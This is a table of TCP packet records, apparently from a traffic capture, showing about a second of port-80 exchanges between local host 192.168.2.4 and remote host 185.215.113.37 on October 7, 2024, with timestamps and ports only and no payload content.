Oct 7, 2024 21:19:19.276134968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.485949993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.486000061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.486151934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.486151934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.486408949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.486445904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.486468077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.486480951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.486495018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.486521006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.486529112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.486555099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.486572027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.486589909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.486605883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.486643076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.486670971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.486704111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.486721992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.486738920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.486749887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.486784935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.486792088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.486823082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.486840010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.486869097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.486876011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.486911058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.486922979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.486946106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.486955881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.486991882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.487034082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.487068892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.487081051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.487102985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.487117052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.487157106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.487199068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.487231016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.487246037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.487265110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.487277031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.487301111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.487309933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.487344980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.487377882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.487428904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.487443924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.487479925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.487488985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.487524033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.487602949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.487654924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.487657070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.487692118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.487704992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.487735987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.487801075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.487834930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.487847090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.487869024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.487878084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.487905979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.487916946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.487951994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.487989902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.488023996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.488038063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.488065004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.488066912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.488110065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.488188028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.488234997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.488254070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.488287926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.488306046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.488322973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.488333941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.488368034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.488403082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.488436937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.488451958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.488471985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.488482952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.488518000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.488568068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.488600969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.488615990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.488634109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.488646030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.488679886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.610677004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.610734940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.610769033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.610801935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.610852957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.610869884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.610869884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.610869884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.610869884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.610884905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.610939026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.610974073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.611002922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.611036062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.611057997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.611057997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.611057997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.611057997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.611073971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.611077070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.611104965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.611116886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.611741066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.611794949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.611804962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.611831903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.611845016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.611881018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.612055063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.612114906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.612240076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.612294912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.612312078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.612348080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.612373114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.612380028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.612396002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.612432003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.612433910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.612467051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.612483025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.612504005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.612519026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.612536907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.612551928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.612585068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.612596989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.612647057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.612653971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.612680912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.612696886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.612715006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.612729073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.612749100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.612763882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.612786055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.612797976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.612835884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.613043070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.613076925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.613102913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.613110065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.613121986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.613143921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.613161087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.613190889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.613197088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.613226891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.613246918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.613274097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.613276958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.613312960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.613331079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.613362074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.613384962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.613437891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.613451004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.613471985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.613481998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.613507986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.613527060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.613538980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.613558054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.613574028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.613580942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.613607883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.613619089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.613641977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.613656044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.613694906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.613725901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.613759995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.613785982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.613792896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.613807917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.613840103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.735402107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.735461950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.735497952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.735511065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.735554934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.735564947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.735572100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.735624075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.735658884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.735660076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.735680103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.735693932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.735722065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.735728025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.735752106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.735764980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.735775948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.735831976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.736028910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.736082077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.736145020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.736174107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.736195087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.736218929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.736816883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.736867905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.736872911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.736902952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.736916065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.736948013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.736998081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.737030029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.737046957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.737062931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.737073898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.737097979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.737111092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.737153053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.737416983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.737449884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.737482071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.737514973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.737548113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.737580061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.737598896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.737613916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.737643003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.737648010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.737664938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.737695932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.737732887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.737765074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.737786055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.737814903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.737818003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.737850904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.737873077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.737890959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.737904072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.737921000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.737940073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.737955093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.737974882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.737993002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.738003969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.738040924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.738114119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.738147020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.738166094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.738181114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.738194942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.738214970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.738226891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.738249063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.738257885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.738282919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.738296032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.738320112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.738329887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.738364935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.738411903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.738444090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.738460064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.738477945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.738490105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.738512039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.738523006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.738547087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.738558054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.738575935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.738599062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.738636017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.859590054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.859646082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.859678030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.859728098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.859760046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.859791994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.859814882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.859814882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.859814882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.859826088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.859864950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.859864950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.859878063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.859884024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.859919071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.859931946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.859951019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.859966993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.859999895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.860239029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.860291958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.860358953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.860388041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.860450029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.860502005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.860554934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.860569000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.860606909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.860616922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.860671043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.860701084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.860713005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.860766888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.860820055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.861368895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.861414909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.861455917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.861490011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.861505985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.861537933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.861542940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.861576080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.861588955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.861608982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.861619949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.861644983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.861655951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.861690044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.861784935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.861816883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.861831903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.861865997 CEST	49730	80	192.168.2.4	185.215.113.37
